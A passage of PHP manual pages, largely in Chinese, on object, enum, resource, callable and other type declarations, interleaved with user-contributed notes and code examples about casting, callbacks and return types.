The __construct() method is called automatically by PHP when it sees the 'new' operator. Our __construct() method above requires the first and last names to be passed in as arguments and uses them to INITIALIZE objects when INSTANTIATING new INSTANCES.
mailto dot aurelian at gmail dot com 18-Dec-2009 09:56
You can create [recursive] objects with something like:
<?php
  $literalObjectDeclared = (object) array(
     'foo' => (object) array(
          'bar' => 'baz',
          'pax' => 'vax'
      ),
      'moo' => 'ui'
   );
print $literalObjectDeclared->foo->bar; // outputs "baz"!
?>
spidgorny at gmail dot com 22-Jul-2009 01:58
If having

class BugDetails extends Bug

you want to cast an object of a Bug to BugDetails like this
<?php
    $clone = (BugDetails) clone $this;
// OR
    $clone = (BugDetails) $bug;
?>
which doesn't work in PHP, you have two options:
1. Copying all (including private) properties manually (you could also use get_object_vars(), but this is shorter):
<?php
    $clone = new BugDetails();
    foreach ($this as $key => $val) {
        $clone->$key = $val;
    }
?>
2. Serialize an object Bug, manipulate the resulting string so that it has BugDetails inside and unserialize it.
See here: http://blog.adaniels.nl/articles/a-dark-corner-of-php-class-casting/

Spent two hours looking for more elegant solution, that's my findings.
cFreed at orange dot fr 22-Apr-2009 06:21
CAUTION:
"Arrays convert to an object with properties named by keys, and corresponding values".

This is ALWAYS true, which means that even numeric keys are accepted when converting.
But the resulting properties cannot be accessed, since they don't match the variables naming rules.

So this:
<?php
$x = (object) array('a'=>'A', 'b'=>'B', 'C');
echo '<pre>'.print_r($x, true).'</pre>';
?>
works and displays:
stdClass Object
(
    [a] => A
    [b] => B
    [0] => C
)

But this:
<?php
echo '<br />'.$x->a;
echo '<br />'.$x->b;
echo '<br />'.$x->{0}; # (don't use $x->0, which is obviously a syntax error)
?>
fails and displays:
A
B
Notice: Undefined property: stdClass::$0 in...
Isaac Z. Schlueter i at foohack dot com 30-Aug-2008 05:31
In response to Harmor and Mithras,  you can use the json functions to convert multi-dimensional arrays to objects very reliably.

Also, note that just using (object)$x doesn't allow you to access properties inline.  For example, this is invalid:

<?php
$x = array("foo"=>"bar");
echo ((object)$x)->foo; // PHP Parse error, unexpected T_OBJECT_OPERATOR
?>

However, this function will let you do that, and will also handle multi-dimensional arrays without any hassle.

<?php
function to_object ($x) {
    return (is_object($x) || is_array($x)) ? json_decode(json_encode($x)) : (object) $x;
}

echo to_object( array("foo"=>"bar") )->foo; // "bar"
?>

Note that *numeric* arrays will not be converted to objects using this method.
Mithras 21-Aug-2008 06:54
In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with:

<?php
function arrayToObject( $array ){
  foreach( $array as $key => $value ){
    if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value );
  }
  return (object) $array;
}
?>
gabe at fijiwebdesign dot com 21-May-2007 09:25
In response to sirbinam.
You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword.

The code below works fine and illustrates that "stdout" has been defined before its instantiation.

<?php

class profiler{
  function profiler(){
    $this->starttime = microtime();
  }

  function dump(){
    global $stdout;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime;
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$profiler =& new profiler();
$profiler->dump();

?>

All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet.
ludvig dot ericson at gmail dot com 18-Aug-2006 03:35
In reply to the usort thing, you can access a property of an object dynamically by:
<?php
$obj = (object)array("Test" => "bar")
$var = "Test";
echo $obj->$var;
?>
This will output "bar", and do notice I call on ->$var and not just ->var.
Trevor Blackbird > yurab.com 26-Nov-2005 09:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
iblun at gmx dot net 09-Mar-2005 05:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
    for ($a=0;$a < (count($objectarray)); $a++)
    {
        for ($b=0;$b < (count($objectarray)); $b++)
        {
            if ($objectarray[$a]->$field < $objectarray[$b]->$field)
            {
                $temp = $objectarray[$a];
                $objectarray[$a] = $objectarray[$b];
                $objectarray[$b] = $temp;
            }
        }
    }

    return $objectarray;
}
mortoray at ecircle-ag dot com 16-Feb-2005 02:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
    var $item = 3;
}

    $a = array( new Store() );
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 3

    $a = array();
    $a[] =& new Store();
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
info at keltoi-web dot com 25-Aug-2003 02:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.


Enum 枚举

(PHP 8 >= 8.1.0)

枚举基础

枚举是在类、类常量基础上的约束层， 目标是提供一种能力：定义包含可能值的封闭集合类型。

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

function do_stuff(Suit $s)
{
// ...
}

do_stuff(Suit::Spades);
?>

详情参阅枚举章节。

类型转换

将 enum 转换为 object 不会有变化。 将 enum 转换为 array， 纯粹枚举会创建单个 name 键的数组； 回退枚举创建带 name 和 value 键的数组。 其他类型转换都会导致错误。

User Contributed Notes

esdras-schonevald 16-May-2022 02:07
https://gist.github.com/esdras-schonevald/71a6730e6191c5e9c053e2f65b839eec

<?php

declare(strict_types=1);

/**
 * This is a sample
 * How to use Enum to create a custom exception cases
 * PHP 8.1^
 */

enum MyExceptionCase {
    case InvalidMethod;
    case InvalidProperty;
    case Timeout;
}

class MyException extends Exception {
    function __construct(private MyExceptionCase $case){
        match($case){
            MyExceptionCase::InvalidMethod      =>    parent::__construct("Bad Request - Invalid Method", 400),
            MyExceptionCase::InvalidProperty    =>    parent::__construct("Bad Request - Invalid Property", 400),
            MyExceptionCase::Timeout            =>    parent::__construct("Bad Request - Timeout", 400)
        };
    }
}

// Testing my custom exception class
try {
    throw new MyException(MyExceptionCase::InvalidMethod);
} catch (MyException $myE) {
    echo $myE->getMessage();  // Bad Request - Invalid Method
}


Resource 资源类型

资源 resource 是一种特殊变量，保存了到外部资源的一个引用。资源是通过专门的函数来建立和使用的。所有这些函数及其相应资源类型见附录。

参见 get_resource_type()。

转换为资源

由于资源类型变量保存有为打开文件、数据库连接、图形画布区域等的特殊句柄，因此将其它类型的值转换为资源没有意义。

释放资源

引用计数系统是 Zend 引擎的一部分，可以自动检测到一个资源不再被引用了（和 Java 一样）。这种情况下此资源使用的所有外部资源都会被垃圾回收系统释放。因此，很少需要手工释放内存。

Note: 持久数据库连接比较特殊，它们不会被垃圾回收系统销毁。参见数据库永久连接一章。

User Contributed Notes

mmenzel at it-economics dot de 26-Oct-2022 09:52
'stream' is a general resource type and can have specific subtypes (imap, pop, curl ...). Casting from 'stream' to them makes sense alright.

E.g. Making OAUTH2 work for imap, but still use the normal imap_ functions. Just open a ssl:// stream to the IMAP server with stream_socket_client(), send the "AUTHENTICATE XOAUTH2 ..." authentication with valid token and then use the imap_ functions on the casted 'stream' to 'imap' resource.
Not being able to cast from 'stream' to 'imap' makes it necessary to use 3rd party solutions, like php-imap. Doesn't have to be necessary, if the cast would be possible.


Callback / Callable 类型

回调可以通过 callable 类型声明来表示。

一些函数如 call_user_func() 或 usort() 可以接受用户自定义的回调函数作为参数。回调函数不止可以是简单函数，还可以是对象的方法，包括静态类方法。

传递

PHP是将函数以string形式传递的。 可以使用任何内置或用户自定义函数，但除了语言结构例如：array()，echo，empty()，eval()，exit()，isset()，list()，print 或 unset()。

一个已实例化的 object 的方法被作为 array 传递，下标 0 包含该 object，下标 1 包含方法名。 在同一个类里可以访问 protected 和 private 方法。

静态类方法可以不实例化 object 传递，只需要在下标为 0 的位置传递类名而不是 object ，或者传递 'ClassName::methodName'。

回调参数不仅可以使用普通的用户自定义函数，也接受 匿名函数 和 箭头函数。

Note:

从 PHP 8.1.0 开始，还可以使用 First-class 可调用语法 创建匿名函数。

通常情况下，任何实现了 __invoke() 的对象都可以传入回调参数。

Example #1 回调函数示例

<?php

// 回调函数示范
function my_callback_function() {
echo 'hello world!';
}

// 回调方法示范
class MyClass {
static function myCallbackMethod() {
echo 'Hello World!';
}
}

// 类型 1：简单的回调
call_user_func('my_callback_function');

// 类型 2：静态类方法回调
call_user_func(array('MyClass', 'myCallbackMethod'));

// 类型 3：对象方法回调
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// 类型 4：静态类方法回调
call_user_func('MyClass::myCallbackMethod');

// 类型 5：父级静态类回调
class A {
public static function who() {
echo "A\n";
}
}

class B extends A {
public static function who() {
echo "B\n";
}
}

call_user_func(array('B', 'parent::who')); // A，从 PHP 8.2.0 起弃用。

// 类型 6：实现 __invoke 的对象用于回调
class C {
public function __invoke($name) {
echo 'Hello ', $name, "\n";
}
}

$c = new C();
call_user_func($c, 'PHP!');
?>

Example #2 使用 Closure 的示例

<?php
// 闭包
$double = function($a) {
return $a * 2;
};

// 这是数字范围
$numbers = range(1, 5);

// 这里使用闭包作为回调，
// 将范围内的每个元素数值翻倍
$new_numbers = array_map($double, $numbers);

print implode(' ', $new_numbers);
?>

以上示例会输出：

2 4 6 8 10

Note:

在函数中注册有多个回调内容时(如使用 call_user_func() 与 call_user_func_array())，如在前一个回调中有未捕获的异常，其后的将不再被调用。

User Contributed Notes

InvisibleSmiley 12-Jan-2023 10:35
Note that the callable type declaration cannot be used with intersection types introduced in PHP 8.1:

interface foo {}
function bar (callable&foo $param) {}

will report:
Fatal error: Type callable cannot be part of an intersection type

See https://wiki.php.net/rfc/pure-intersection-types#supported_types
chechomancr at hotmail dot com 03-Feb-2022 10:09
In PHP >= 8.0 callIt function with optional parameters.
<?php
declare(strict_types = 1);

class Example {

    public static function someFunction(string $value, string $a_parameter, int $another_parameter): string
    {
         //TODO: Apply the required filter
        return "$value $a_parameter $another_parameter";
    }

    public static function callIt(string $callback, ...$parameters): callable
    {
        return static fn(mixed $value = null) => self::$callback($value, ...$parameters);
    }

}
?>

How to use:
<?php
declare(strict_types = 1);

$args = [
    'information' => ['filter'  => FILTER_CALLBACK,  'options' => Example::callIt('someFunction', 'world', 2022)],
];

$unfiltered_data = ['information' => 'Hello'];

$filtered_data = filter_var_array($unfiltered_data, $args);

if(false === $filtered_data) {
    echo "Error...", PHP_EOL;
}

echo var_export($filtered_data, true);
?>

Result: array ( 'information' => 'Hello world 2022' )
ssi-anik 27-Aug-2021 02:55
From the note of https://www.php.net/manual/en/language.types.callable.php#109073
seems like the method name in `call_user_func*` is CASE-INSENSITIVE.
InvisibleSmiley 22-Mar-2021 10:20
If you pass a callable method to a function with a callable type declaration, the error message is misleading:

<?php
class X {
    protected function foo(): void {}
}

function bar(callable $c) {}

$x = new X;
$c = [$x, 'foo'];
bar($c);
?>

Error message will be something like "Argument #1 ($c) must be of type callable, array given" while the actual problem here is only the visibility of method "foo". All you need to do is changing it to public (or use a different approach, e.g. with a Closure).
gulaschsuppe2 at gmail dot com 21-Jul-2019 01:53
I tried many possible ways of calling functions by function name directly and assigned to a variable on 3v4l. Not mentioned yet, it is possible to use an array as a caller, at least since PHP 7.1.25. The following script contains all the information I gained:

<?php

// Call function via function name:
    // Basics:
        // A function can also be called by using its string name:
        function callbackFunc() {
            echo 'Hello World';
        }

        'callbackFunc'(); // Hello World

        // A function can also be called if its name is assigned to a variable:
            function callbackFunc() {
                echo 'Hello World';
            }

            $funcName = 'callbackFunc';
            $funcName(); // Hello World

    // Static class method:
        // It is also possible to call a public static class method via 'ClassName::functioName' notation:
            class A {
                public static function callbackMethod() {
                    echo "Hello World\n";
                }
            }
            'A::callbackMethod'(); // Hello World

            $funcName = 'A::callbackMethod';
            $funcName(); // Hello World

    // Non static class method:
        // It is also possible to call non static class methods by creating an array which first element is the object the method should be called on and the second element is the non static method to be called. The array can directly be used as a caller:
            class A {
                private $prop = "Hello World\n";

                public function callbackMethod() {
                    echo $this->prop;
                }
            }

            $a = new A;
            [$a, 'callbackMethod']();
            $funcCallArr = [$a, 'callbackMethod'];
            $funcCallArr();

        // Of course this also works inside the class with '$this':
            class A {
                private function privCallback() {
                    echo 'Private';
                }

                public function privCallbackCaller($funcName) {
                    [$this, $funcName]();
                }
            }

            (new A)->privCallbackCaller('privCallback'); // Private

?>
chris dot rutledge at gmail dot com 18-Dec-2018 10:12
Having read this line in the manual above,

"A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed."

I decided to do some testing to see if I could access private methods using the call_user_func methods. Thankfully not, but for completeness here is my test which also covers using static and object contexts

<?php
class foo {

    public static $isInstance = false;

    public function __construct() {
        self::$isInstance = true;
    }

    public function bar() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    private function baz() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    public function qux() {
        $this->baz();
    }

    public function quux() {
        self::baz();
    }
}

call_user_func(['foo','bar']);    //fase, foo:bar

call_user_func(['foo','baz']);  //warning, cannot access private method

call_user_func(['foo','quux']); //false, foo::baz

call_user_func(['foo','qux']);  //fatal, Using $this when not in object context

$foo = new foo;

call_user_func([$foo,'bar']);    //true, foo::bar
call_user_func([$foo,'baz']);    //warning, cannot access private method
call_user_func([$foo,'qux']);    //true, foo::baz

call_user_func(['foo','bar']);  //true, foo::bar (static call, yet $isInstance is true)

?>
Dan J 20-Feb-2018 05:59
You can avoid repeating a long namespace for classes in callable arrays by making use of the "use" operator and the special "::class" constant.

Documentation of use operator:
http://php.net/manual/en/language.namespaces.importing.php

Documentation of ::class constant:
http://php.net/manual/en/language.oop5.constants.php

<?php
// Library file with namespace My\Library\Namespace
require 'MyLibrary.php';

// Alias for SortingClass
use \My\Library\Namespace\SortingClass;

// Callable array referring to SortingClass::SortFunction
$callable = [SortingClass::class, 'SortFunction'];

$values = [3, 1, 2];
usort($values, $callable);
Daniel Klein 13-Sep-2017 07:26
You can use "self::method_name", "static::method_name" and "parent::method_name" in callables:

<?php
class StaticCallable {
    public static function foo($values) {
        return array_map('self::bar', $values);
    }

    public static function bar($value) {
        return "{$value}: 42";
    }

    public static function baz($values) {
        return array_map('static::qux', $values);
    }

    public static function qux($value) {
        return "{$value}: 123";
    }
}

class StaticExtension extends StaticCallable {
    public static function bar($value) {
        return "{$value}: Marvin the Paranoid Android";
    }

    public static function qux($value) {
        return "{$value}: Zaphod Beeblebrox";
    }
}

print_r(StaticCallable::foo([1, 2, 3]));
print_r(StaticExtension::foo([1, 2, 3]));

print_r(StaticCallable::baz([1, 2, 3]));
print_r(StaticExtension::baz([1, 2, 3]));
?>

Results:
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 123
    [1] => 2: 123
    [2] => 3: 123
)
Array
(
    [0] => 1: Zaphod Beeblebrox
    [1] => 2: Zaphod Beeblebrox
    [2] => 3: Zaphod Beeblebrox
)

"self::" uses the same class as the called method, "static::" uses the same class as the called class, and "parent::" (not shown) uses the parent class, or generates a warning if there is no parent.
whysteepy at gmail dot com 18-Apr-2017 06:34
Another Appearance of Callbacks! Here is one way of them - methods of an instantiated object can be callable and implemented as variable functions without php's default functions that can call user-defined callback functions.

class Test {
    protected $items = array();

    public function __construct()
    {
        $this->items[] = array($this, 'callBackOne');
        $this->items[] = array($this, 'callBackTwo');
    }

    public function callBackOne()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function callBackTwo()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function getItems()
    {
        return $this->items;
    }
}

$o = new Test();
$itemLists = $o->getItems();

foreach ($itemLists as $itemList) {

        // call each one as a variable function
        echo '<pre>';
        print_r($itemList());
        echo '</pre>';
}

// Outputs the following
// Test::callBackOne has been called as a callback.

// Test::callBackTwo has been called as a callback.
bradyn at NOSPAM dot bradynpoulsen dot com 14-Apr-2016 01:22
When trying to make a callable from a function name located in a namespace, you MUST give the fully qualified function name (regardless of the current namespace or use statements).

<?php

namespace MyNamespace;

function doSomethingFancy($arg1)
{
    // do something...
}

$values = [1, 2, 3];

array_map('doSomethingFancy', $values);
// array_map() expects parameter 1 to be a valid callback, function 'doSomethingFancy' not found or invalid function name

array_map('MyNamespace\doSomethingFancy', $values);
// => [..., ..., ...]
pawel dot tadeusz dot niedzielski at gmail dot com 12-Apr-2016 02:11
@edanschwartz at gmail dot com

You can use ::class property to always indicate the class you're in when using static methods:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt(self::class . '::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>
mariano dot REMOVE dot perez dot rodriguez at gmail dot com 21-Sep-2015 07:45
I needed a function that would determine the type of callable being passed, and, eventually,
normalized it to some extent. Here's what I came up with:

<?php

/**
 * The callable types and normalizations are given in the table below:
 *
 *  Callable                        | Normalization                   | Type
 * ---------------------------------+---------------------------------+--------------
 *  function (...) use (...) {...}  | function (...) use (...) {...}  | 'closure'
 *  $object                         | $object                         | 'invocable'
 *  "function"                      | "function"                      | 'function'
 *  "class::method"                 | ["class", "method"]             | 'static'
 *  ["class", "parent::method"]     | ["parent of class", "method"]   | 'static'
 *  ["class", "self::method"]       | ["class", "method"]             | 'static'
 *  ["class", "method"]             | ["class", "method"]             | 'static'
 *  [$object, "parent::method"]     | [$object, "parent::method"]     | 'object'
 *  [$object, "self::method"]       | [$object, "method"]             | 'object'
 *  [$object, "method"]             | [$object, "method"]             | 'object'
 * ---------------------------------+---------------------------------+--------------
 *  other callable                  | idem                            | 'unknown'
 * ---------------------------------+---------------------------------+--------------
 *  not a callable                  | null                            | false
 *
 * If the "strict" parameter is set to true, additional checks are
 * performed, in particular:
 *  - when a callable string of the form "class::method" or a callable array
 *    of the form ["class", "method"] is given, the method must be a static one,
 *  - when a callable array of the form [$object, "method"] is given, the
 *    method must be a non-static one.
 *
 */
function callableType($callable, $strict = true, callable& $norm = null) {
  if (!is_callable($callable)) {
    switch (true) {
      case is_object($callable):
        $norm = $callable;
        return 'Closure' === get_class($callable) ? 'closure' : 'invocable';
      case is_string($callable):
        $m    = null;
        if (preg_match('~^(?<class>[a-z_][a-z0-9_]*)::(?<method>[a-z_][a-z0-9_]*)$~i', $callable, $m)) {
          list($left, $right) = [$m['class'], $m['method']];
          if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
            $norm = [$left, $right];
            return 'static';
          }
        } else {
          $norm = $callable;
          return 'function';
        }
        break;
      case is_array($callable):
        $m = null;
        if (preg_match('~^(:?(?<reference>self|parent)::)?(?<method>[a-z_][a-z0-9_]*)$~i', $callable[1], $m)) {
          if (is_string($callable[0])) {
            if ('parent' === strtolower($m['reference'])) {
              list($left, $right) = [get_parent_class($callable[0]), $m['method']];
            } else {
              list($left, $right) = [$callable[0], $m['method']];
            }
            if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'static';
            }
          } else {
            if ('self' === strtolower($m['reference'])) {
              list($left, $right) = [$callable[0], $m['method']];
            } else {
              list($left, $right) = $callable;
            }
            if (!$strict || !(new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'object';
            }
          }
        }
        break;
    }
    $norm = $callable;
    return 'unknown';
  }
  $norm = null;
  return false;
}

?>

Hope someone else finds it useful.
Riikka K 11-May-2015 01:36
A note on differences when calling callbacks as "variable functions" without the use of call_user_func() (e.g. "<?php $callback = 'printf'; $callback('Hello World!') ?>"):

- Using the name of a function as string has worked since at least 4.3.0
- Calling anonymous functions and invokable objects has worked since 5.3.0
- Using the array structure [$object, 'method'] has worked since 5.4.0

Note, however, that the following are not supported when calling callbacks as variable functions, even though they are supported by call_user_func():

- Calling static class methods via strings such as 'foo::doStuff'
- Calling parent method using the [$object, 'parent::method'] array structure

All of these cases are correctly recognized as callbacks by the 'callable' type hint, however. Thus, the following code will produce an error "Fatal error: Call to undefined function foo::doStuff() in /tmp/code.php on line 4":

<?php
class foo {
    static function callIt(callable $callback) {
        $callback();
    }

    static function doStuff() {
        echo "Hello World!";
    }
}

foo::callIt('foo::doStuff');
?>

The code would work fine, if we replaced the '$callback()' with 'call_user_func($callback)' or if we used the array ['foo', 'doStuff'] as the callback instead.
edanschwartz at gmail dot com 02-Feb-2015 06:13
You can use 'self::methodName' as a callable, but this is dangerous. Consider this example:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt('self::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>

This results in an error:
Warning: class 'FunctionCaller' does not have a method 'someAwesomeMethod'.

For this reason you should always use the full class name:
<?php
FunctionCaller::callIt('Foo::someAwesomeMethod');
?>

I believe this is because there is no way for FunctionCaller to know that the string 'self' at one point referred to to `Foo`.
Yzmir Ramirez 15-Apr-2014 11:40
> As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'

You can also use 'self::methodName'.  This works in PHP 5.2.12 for me.
computrius at gmail dot com 11-Oct-2013 04:38
When specifying a call back in array notation (ie. array($this, "myfunc") ) the method can be private if called from inside the class, but if you call it from outside you'll get a warning:

<?php

class mc {
   public function go(array $arr) {
       array_walk($arr, array($this, "walkIt"));
   }

   private function walkIt($val) {
       echo $val . "<br />";
   }

    public function export() {
        return array($this, 'walkIt');
    }
}

$data = array(1,2,3,4);

$m = new mc;
$m->go($data); // valid

array_walk($data, $m->export()); // will generate warning

?>

Output:
1<br />2<br />3<br />4<br />
Warning: array_walk() expects parameter 2 to be a valid callback, cannot access private method mc::walkIt() in /in/tfh7f on line 22
metamarkers at gmail dot com 03-Jun-2013 07:34
you can pass an object as a callable if its class defines the __invoke() magic method..
steve at mrclay dot org 17-Sep-2012 09:00
Performance note: The callable type hint, like is_callable(), will trigger an autoload of the class if the value looks like a static method callback.
andrewbessa at gmail dot com 19-Jun-2012 03:16
You can also use the $this variable to specify a callback:

<?php
class MyClass {

    public $property = 'Hello World!';

    public function MyMethod()
    {
        call_user_func(array($this, 'myCallbackMethod'));
    }

    public function MyCallbackMethod()
    {
        echo $this->property;
    }

}
?>


Mixed

mixed 类型接受每个值。等同于联合类型 object|resource|array|string|float|int|bool|null。自 PHP 8.0.0 起可用。

在类型理论中，mixed 是顶级类型。这意味着其它所有类型都是它的子类型。

User Contributed Notes

There are no user contributed notes for this page.


Void

void 是仅用于返回类型，表示函数不返回值，但该函数仍可能会终止。因此，它不能成为联合类型声明的一部分。自 PHP 7.1.0 起可用。

Note: 即使函数的返回类型是 void，但仍然可以返回值，但值只能始终为 null。

User Contributed Notes

There are no user contributed notes for this page.


Never

never 是仅用于返回的类型，表示函数不会终止。这意味着它要么调用 exit()，要么抛出异常，要么无限循环。因此，它不能是联合类型声明的一部分。自 PHP 8.1.0 起可用。

never 是类型理论中的最底层类型。这意味着它是其它所有类型的子类型，并在可以在继承期间替换其它任何返回类型。

User Contributed Notes

mateusz dot charytoniuk at protonmail dot com 17-Jul-2023 02:51
Overriding the return type of native interfaces:

<?php

class ReadonlyArrayAccess implements ArrayAccess
{
    public function __construct(private readonly $array) {}

    public function offsetExists(mixed $offset): bool
    {
        return isset($this->array[$offset]);
    }

    public function offsetGet(mixed $offset): mixed
    {
        return $this->array[$offset];
    }

    public function offsetSet(mixed $offset, mixed $value): never
    {
        throw new LogicException('This array is read only');
    }

    public function offsetUnset(mixed $offset): never
    {
        throw new LogicException('This array is read only');
    }
}
ali1289445 at gmail dot com 27-Feb-2023 05:06
<?php

function sayHello(string $name): never
{
    echo "Hello, $name";
    exit(); // if we comment this line, php throws fatal error
}

sayHello("John"); // result: "Hello, John"


相对类类型

这些类型声明只能在类中使用。

self

The value must be an instanceof the same class as the one in which the type declaration is used.

parent

值必须是 instanceof 使用了类型声明的父级类。

static

static is a return-only type which requires that the value returned must be an instanceof the same class as the one the method is called in. 自 PHP 8.0.0 起可用。

User Contributed Notes

There are no user contributed notes for this page.


Value 类型

Value 类型是那些不仅检查值，而且也检查值本身的类型。PHP 支持两种 Value 类型：false（自 PHP 8.0.0 起支持），true（自 PHP 8.2.0 起支持）。

Warning

在 PHP 8.2.0 之前，false 类型只能用作联合类型的一部分。

Note: 无法定义自定义 Value 类型。建议改用枚举。

User Contributed Notes

There are no user contributed notes for this page.


Iterable 可迭代对象

Iterable 是内置编译时 array|Traversable 的类型别名。从 PHP 7.1.0 到 PHP 8.2.0 之间的描述来看，iterable 是内置伪类型，充当上述类型别名，也可以用于类型声明。iterable 类型可用于 foreach 或在生成器中使用 yield from。

Note:

将可迭代对象声明为返回类型的函数也可能是 生成器。

Example #1 可迭代生成器返回类型的示例

<?php

function gen(): iterable {
yield 1;
yield 2;
yield 3;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


类型声明

类型声明可以用于函数的参数、返回值，PHP 7.4.0 起还可以用于类的属性，来显性的指定需要的类型，如果预期类型在调用时不匹配，则会抛出一个 TypeError 异常。

PHP 支持各种单一类型，除了 resource 之外，都可以用于用户级别类型声明。这个页面包含了不同类型间的可用性变更日志以及在类型声明中用法的文档。

Note:

当类实现了接口方法或者重新实现了父级类中定义的方法时，必须与上述定义兼容。如果方法遵循方差规则，则兼容该方法。

更新日志

版本 | 说明
8.3.0 | 新增了对类、接口、trait 和枚举常量类型的支持。
8.2.0 | 新增对 DNF 类型的支持。
8.2.0 | 新增对 literal 类型 true 的支持。
8.2.0 | 现在可以单独使用 null 和 false。
8.1.0 | 新增对交集类型的支持。
8.1.0 | 弃用 void 函数通过引用返回。
8.1.0 | 新增对返回类型 never 的支持。
8.0.0 | 新增对 mixed 类型的支持。
8.0.0 | 新增对返回类型 static 的支持。
8.0.0 | 新增对联合类型的支持。
7.4.0 | 新增对类属性类型化的支持。
7.2.0 | 新增对 object 类型的支持。
7.1.0 | 新增对 iterable 类型的支持。
7.1.0 | 新增对 void 类型的支持。
7.1.0 | 新增对可为 null 类型的支持。

原子类型使用说明

Atomic types have straight forward behaviour with some minor caveats which are described in this section.

标量类型

Warning

标量类型（bool、int、float、string）不支持别名。别名反而会视为类或接口名。例如，使用 boolean 作为类型声明，将要求值是 instanceof 类或接口 boolean，而不是类型 bool。

<?php
function test(boolean $param) {}
test(true);
?>

以上示例在 PHP 8 中的输出：

Warning: "boolean" will be interpreted as a class name. Did you mean "bool"? Write "\boolean" to suppress this warning in /in/9YrUX on line 2

Fatal error: Uncaught TypeError: test(): Argument #1 ($param) must be of type boolean, bool given, called in - on line 3 and defined in -:2
Stack trace:
#0 -(3): test(true)
#1 {main}
  thrown in - on line 2

void

Note:

从 PHP 8.1.0 起弃用 void 函数通过引用返回，因为这样的函数自相矛盾。在此之前调用时总是会发出如下 E_NOTICE：Only variable references should be returned by reference。

<?php
function &test(): void {}
?>

Callable 类型

此类型不能用于类属性的类型声明。

Note: 无法指定函数的签名。

通过引用传递的参数类型

如果通过引用传递的参数有类型声明，则变量的类型仅在调用函数时检查，返回时不会检查。这意味着函数可以改变引用变量的类型。

Example #1 通过引用传递的参数类型

<?php
function array_baz(array &$param)
{
$param = 1;
}
$var = [];
array_baz($var);
var_dump($var);
array_baz($var);
?>

以上示例的输出类似于：

int(1)

Fatal error: Uncaught TypeError: array_baz(): Argument #1 ($param) must be of type array, int given, called in - on line 9 and defined in -:2
Stack trace:
#0 -(9): array_baz(1)
#1 {main}
  thrown in - on line 2

复合类型使用说明

复合类型声明有几个限制，并且在编译时执行冗余检查以避免简单的错误。

Caution

在 PHP 8.2 之前，也就是没引入 DNF 之前，交集类型和联合类型不能组合使用。

联合类型

Warning

在一个联合类型中不能同时用两个 Value 类型 false 和 true。而是使用 bool 替代。

Caution

在 PHP 8.2.0 之前，由于 false 和 null 不能作为独立的类型使用，因此不允许仅由这些类型组成联合类型。这还包括以下类型：false、false|null, 和 ?false。

可为 null 类型语法糖

单个基本类型声明可以通过在类型前添加问号（?）来标记可为 null。因此 ?T 和 T|null 是相同的。

Note: 该语法自 PHP 7.1.0 起支持，且早于完整的（generalized）联合类型支持。

Note:

也可以通过设置参数的参数的默认值为 null 来实现允许为 null。但并不建议这么做，因为如果在子类中更改了默认值，会引发类型兼容冲突，需要将 null 类型添加到类型声明中。

Example #2 使参数可以为 null 的旧方法

<?php
class C {}

function f(C $c = null) {
var_dump($c);
}

f(new C);
f(null);
?>

以上示例会输出：

object(C)#1 (0) {
}
NULL

重复冗余的类型

为了能捕获复合类型声明中的简单错误，不需要类加载检测到的冗余类型将导致编译时错误。包含：

